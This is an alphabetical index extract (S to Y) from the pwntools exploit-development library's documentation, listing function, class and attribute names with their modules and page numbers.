sockaddr (pwnlib.tubes.server.server attribute), 183
sockaddr() (in module pwnlib.util.net), 280
socket() (in module pwnlib.shellcraft.aarch64.linux), 125
socket() (in module pwnlib.shellcraft.amd64.linux), 135
socket() (in module pwnlib.shellcraft.i386.linux), 154
socketcall() (in module pwnlib.shellcraft.i386.linux), 154
sp (pwnlib.elf.corefile.Corefile attribute), 74
spawn_process() (pwnlib.tubes.listen.listen method), 181
spawn_process() (pwnlib.tubes.tube.tube method), 203
ssh (class in pwnlib.tubes.ssh), 183
ssh_channel (class in pwnlib.tubes.ssh), 193
ssh_connecter (class in pwnlib.tubes.ssh), 193
ssh_listener (class in pwnlib.tubes.ssh), 193
stack (pwnlib.elf.corefile.Corefile attribute), 74
stack() (pwnlib.dynelf.DynELF method), 51
stackarg() (in module pwnlib.shellcraft.i386), 149
stackhunter() (in module pwnlib.shellcraft.i386), 149
stage() (in module pwnlib.shellcraft.aarch64.linux), 125
stage() (in module pwnlib.shellcraft.amd64.linux), 135
stage() (in module pwnlib.shellcraft.i386.linux), 154
stage() (in module pwnlib.shellcraft.thumb.linux), 170
stager() (in module pwnlib.shellcraft.amd64.linux), 135
stager() (in module pwnlib.shellcraft.i386.linux), 154
stager() (in module pwnlib.shellcraft.mips.linux), 160
stager() (in module pwnlib.shellcraft.thumb.linux), 170
starmap() (in module pwnlib.util.itors), 274
start (pwnlib.elf.corefile.Mapping attribute), 75
start (pwnlib.elf.elf.ELF attribute), 64
starttime() (in module pwnlib.util.proc), 290
stat() (in module pwnlib.util.proc), 290
stat() (pwnlib.protocols.adb.AdbClient method), 102
state() (in module pwnlib.util.proc), 290

statically_linked (pwnlib.elf.elf.ELF attribute), 64
status() (in module pwnlib.util.proc), 290
status() (pwnlib.log.Progress method), 89
stderr (pwnlib.tubes.process.process attribute), 179
STDERR() (in module pwnlib.args), 30
stdin (pwnlib.tubes.process.process attribute), 179
stdout (pwnlib.tubes.process.process attribute), 179
stop (pwnlib.elf.corefile.Mapping attribute), 75
strace_dos() (in module pwnlib.shellcraft.amd64.linux), 136
strcpy() (in module pwnlib.shellcraft.amd64), 131
strcpy() (in module pwnlib.shellcraft.i386), 149
stream() (pwnlib.tubes.tube.tube method), 203
string() (pwnlib.elf.elf.ELF method), 58
String() (pwnlib.memleak.MemLeak static method), 93
strlen() (in module pwnlib.shellcraft.amd64), 131
strlen() (in module pwnlib.shellcraft.i386), 150
struct() (pwnlib.memleak.MemLeak method), 98
submit_flag() (in module pwnlib.flag), 75
success() (pwnlib.log.Logger method), 90
success() (pwnlib.log.Progress method), 89
sym (pwnlib.elf.elf.ELF attribute), 64
symbols (pwnlib.elf.elf.ELF attribute), 64
syscall() (in module pwnlib.shellcraft.aarch64.linux), 126
syscall() (in module pwnlib.shellcraft.amd64.linux), 136
syscall() (in module pwnlib.shellcraft.arm.linux), 142
syscall() (in module pwnlib.shellcraft.i386.linux), 154
syscall() (in module pwnlib.shellcraft.mips.linux), 160
syscall() (in module pwnlib.shellcraft.thumb.linux), 170
system() (pwnlib.tubes.ssh.ssh method), 190
sysv_hash() (in module pwnlib.dynelf), 51

T

tabulate() (in module pwnlib.util.itors), 272
take() (in module pwnlib.util.itors), 272
takewhile() (in module pwnlib.util.itors), 274
tee() (in module pwnlib.util.itors), 274
term_mode (in module pwnlib.term), 172
terminal (pwnlib.context.ContextType attribute), 47
test() (in module pwnlib.util.sh_string), 297
test_expr() (in module pwnlib.util.safeeval), 291
Thread (class in pwnlib.context), 48
Timeout (class in pwnlib.timeout), 172
timeout (pwnlib.context.ContextType attribute), 48
timeout (pwnlib.timeout.Timeout attribute), 173
TIMEOUT() (in module pwnlib.args), 30
timeout_change() (pwnlib.timeout.Timeout method), 173
timeout_change() (pwnlib.tubes.tube.tube method), 203
to_arm() (in module pwnlib.shellcraft.thumb), 168
to_thumb() (in module pwnlib.shellcraft.arm), 140
tracer() (in module pwnlib.util.proc), 290
track_devices() (pwnlib.protocols.adb.AdbClient method), 102

transport() (pwnlib.protocols.adb.AdbClient method), 102
 trap() (in module pwnlib.shellcraft.aarch64), 123
 trap() (in module pwnlib.shellcraft.amd64), 132
 trap() (in module pwnlib.shellcraft.arm), 140
 trap() (in module pwnlib.shellcraft.i386), 150
 trap() (in module pwnlib.shellcraft.mips), 159
 trap() (in module pwnlib.shellcraft.thumb), 168
 tube (class in pwnlib.tubes.tube), 193
 type (pwnlib.tubes.listen.listen attribute), 182
 type (pwnlib.tubes.server.server attribute), 183

U

u16() (in module pwnlib.util.packing), 286
 u16() (pwnlib.elf.elf.ELF method), 58
 u16() (pwnlib.memleak.MemLeak method), 98
 u32() (in module pwnlib.util.packing), 286
 u32() (pwnlib.elf.elf.ELF method), 58
 u32() (pwnlib.memleak.MemLeak method), 99
 u64() (in module pwnlib.util.packing), 287
 u64() (pwnlib.elf.elf.ELF method), 58
 u64() (pwnlib.memleak.MemLeak method), 99
 u8() (in module pwnlib.util.packing), 287
 u8() (pwnlib.elf.elf.ELF method), 58
 u8() (pwnlib.memleak.MemLeak method), 99
 ubsan (pwnlib.elf.elf.ELF attribute), 64
 udiv_10() (in module pwnlib.shellcraft.arm), 140
 udiv_10() (in module pwnlib.shellcraft.thumb), 168
 unbits() (in module pwnlib.util.fiddling), 260
 unhex() (in module pwnlib.util.fiddling), 261
 uninstall() (in module pwnlib.adb.adb), 27
 unique_everseen() (in module pwnlib.util.itors), 272
 unique_justseen() (in module pwnlib.util.itors), 273
 unique_window() (in module pwnlib.util.itors), 273
 unlink() (in module pwnlib.adb.adb), 27
 unlink() (pwnlib.tubes.ssh.ssh method), 191
 unlock_bootloader() (in module pwnlib.adb.adb), 27
 unordlist() (in module pwnlib.util.lists), 276
 unpack() (in module pwnlib.util.packing), 287
 unpack() (pwnlib.elf.elf.ELF method), 59
 unpack() (pwnlib.protocols.adb.AdbClient method), 102
 unpack_many() (in module pwnlib.util.packing), 288
 unrecv() (pwnlib.tubes.tube.tube method), 203
 unregister() (in module pwnlib.atexception), 34
 unregister() (in module pwnlib.atexit), 35
 unresolve() (pwnlib.rop.rop.ROP method), 113
 unroot() (in module pwnlib.adb.adb), 27
 update() (pwnlib.context.ContextType method), 40
 upload() (pwnlib.tubes.ssh.ssh method), 191
 upload_data() (pwnlib.tubes.ssh.ssh method), 191
 upload_dir() (pwnlib.tubes.ssh.ssh method), 191
 upload_file() (pwnlib.tubes.ssh.ssh method), 192
 uptime() (in module pwnlib.adb.adb), 27
 urldecode() (in module pwnlib.util.fiddling), 261

urlencode() (in module pwnlib.util.fiddling), 261
 user_path() (in module pwnlib.qemu), 104

V

vaddr_to_offset() (pwnlib.elf.elf.ELF method), 59
 values() (in module pwnlib.util.safeeval), 291
 vdso (pwnlib.elf.corefile.Corefile attribute), 74
 verbose (pwnlib.context.ContextType attribute), 48
 version (pwnlib.elf.elf.ELF attribute), 65
 version (pwnlib.tubes.ssh.ssh attribute), 193
 version() (in module pwnlib.gdb), 86
 version() (pwnlib.protocols.adb.AdbClient method), 102
 vsyscall (pwnlib.elf.corefile.Corefile attribute), 74
 vvar (pwnlib.elf.corefile.Corefile attribute), 74

W

w() (pwnlib.memleak.MemLeak method), 100
 wait() (pwnlib.tubes.tube.tube method), 203
 wait_for_close() (pwnlib.tubes.tube.tube method), 204
 wait_for_connection() (pwnlib.tubes.listen.listen method), 181
 wait_for_debugger() (in module pwnlib.util.proc), 290
 wait_for_device() (in module pwnlib.adb.adb), 27
 waitfor() (pwnlib.log.Logger method), 90
 warn() (pwnlib.log.Logger method), 90
 warn_once() (pwnlib.log.Logger method), 90
 warning() (pwnlib.log.Logger method), 90
 warning_once() (pwnlib.log.Logger method), 90
 wget() (in module pwnlib.util.web), 297
 which() (in module pwnlib.adb.adb), 28
 which() (in module pwnlib.util.misc), 279
 which() (pwnlib.tubes.ssh.ssh method), 192
 word_size (pwnlib.context.ContextType attribute), 48
 writable_segments (pwnlib.elf.elf.ELF attribute), 65
 write() (in module pwnlib.adb.adb), 28
 write() (in module pwnlib.util.misc), 280
 write() (pwnlib.elf.elf.ELF method), 59
 write() (pwnlib.fmtstr.FmtStr method), 78
 write() (pwnlib.protocols.adb.AdbClient method), 102
 write() (pwnlib.tubes.ssh.ssh method), 192
 writeloop() (in module pwnlib.shellcraft.amd64.linux), 137

X

x_25() (in module pwnlib.util.crc), 248
 xfer() (in module pwnlib.util.crc), 248
 xmodem() (in module pwnlib.util.crc), 249
 xor() (in module pwnlib.shellcraft.aarch64), 123
 xor() (in module pwnlib.shellcraft.amd64), 132
 xor() (in module pwnlib.shellcraft.arm), 140
 xor() (in module pwnlib.shellcraft.i386), 150
 xor() (in module pwnlib.util.fiddling), 261
 xor_key() (in module pwnlib.util.fiddling), 262
 xor_pair() (in module pwnlib.util.fiddling), 262

Y

`yesno()` (in module `pwnlib.ui`), [204](#)